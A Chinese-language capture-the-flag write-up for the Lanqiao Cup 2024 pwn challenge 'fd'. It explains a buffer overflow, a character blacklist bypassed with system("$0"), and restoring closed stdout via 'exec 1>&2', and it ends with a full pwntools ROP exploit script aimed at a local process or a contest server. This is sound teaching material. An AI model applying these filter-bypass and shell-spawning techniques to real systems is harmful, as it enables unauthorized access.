【蓝桥杯 2024】fd
收获
利用
system("$0")这种不常见的方式获取 shell利用
exec 1>&2重定向绕过close(1)
思路
分析程序保护:
IDA 下分析:
程序逻辑是比较简单的,首先向 info 所在地址输入 0xE 的长度
info 位于 BSS 段上
然后 buf 处存在明显溢出:
并且程序中存在 system() 函数:
但没有 "/bin/sh":
因此,很自然地想到通过 info 往 BSS 段写入 "/bin/sh" 然后溢出 buf 构造 system("/bin/sh")
但如果真是这样,就没必要有这篇文章了哈哈哈
因为发现在输入 buf 后会执行一个 check() 函数
这里会检测我们输入到 info 处的数据,不能包含 'b'、'i'、'n'、'/'、's'
同时也不能存在连续三个字符为 "cat"
因此,我们构造 system("/bin/sh")、system("sh")、system("cat flag") 都是行不通的
所以这里要用到一个比较少见的获取 shell 的方式:system("$0")
$0是 Linux shell 中的一个环境变量,指的是 shell 本身的文件名,因此system("$0")的功能等价于system("/bin/sh")另外,还有
$1和$2等:
$1是传递给该 shell 脚本的第一个参数
$2是传递给该 shell 脚本的第二个参数
但这样也还没有结束,因为即使我们绕过了检测,这个函数的返回值是 close(1)
先来看看 close() 是个什么函数:
这里的 fd 明显是文件描述符,也就是关闭了文件描述符 1 的功能
Linux 下的三种文件描述符:
fd = 0:标准输入文件stdinfd = 1:标准输出文件stdoutfd = 2:标准错误输出文件stderr
因此这里是关闭了标准输出的功能
在获取 shell 后的表现是这样的:
可以看到,我们已经通过构造 system("$0") 获取了 shell,但是 ls、cat 等指令是无法使用的
因为这些指令都需要使用到 Linux 的标准输出,也就是 fd = 1,而这里使用 close(1) 关闭了标准输出
但是可以通过重定向来绕过,使用如下命令实现重定向:
exec 1>&2 # 也可以简写为:exec >&2当然,我们也可以不使用 exec 1>&2,而是直接执行指令,例如:
whoami 1>&2 # 也可以简写为:whoami >&2一些重定向的知识:
1>&2:把标准输出重定向到标准错误2>&1:把标准错误输出重定向到标准输出&>filename:把标准输出和标准错误输出都重定向到文件 filename 中例如常见的重定向:
echo "xxx" > filename.txt # 把 "xxx" 写入到 filename.txt 文件中
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./pwn")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./pwn")
else:
# 远程程序的 IP 和端口号
io = remote("47.93.142.240", 44180)
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
io.recvuntil(b"restricted stack.\n")
payload = b'$0\x00'
io.send(payload)
info_addr = 0x601090
pop_rdi_ret = 0x400933
ret = 0x4005ae
system_addr = elf.plt["system"]
print("system_plt --->", hex(system_addr))
payload = b'a' * (0x20 + 8)
payload += p64(pop_rdi_ret) + p64(info_addr) + p64(ret)
payload += p64(system_addr)
# debug()
io.sendline(payload)
# 与远程交互
io.interactive()




















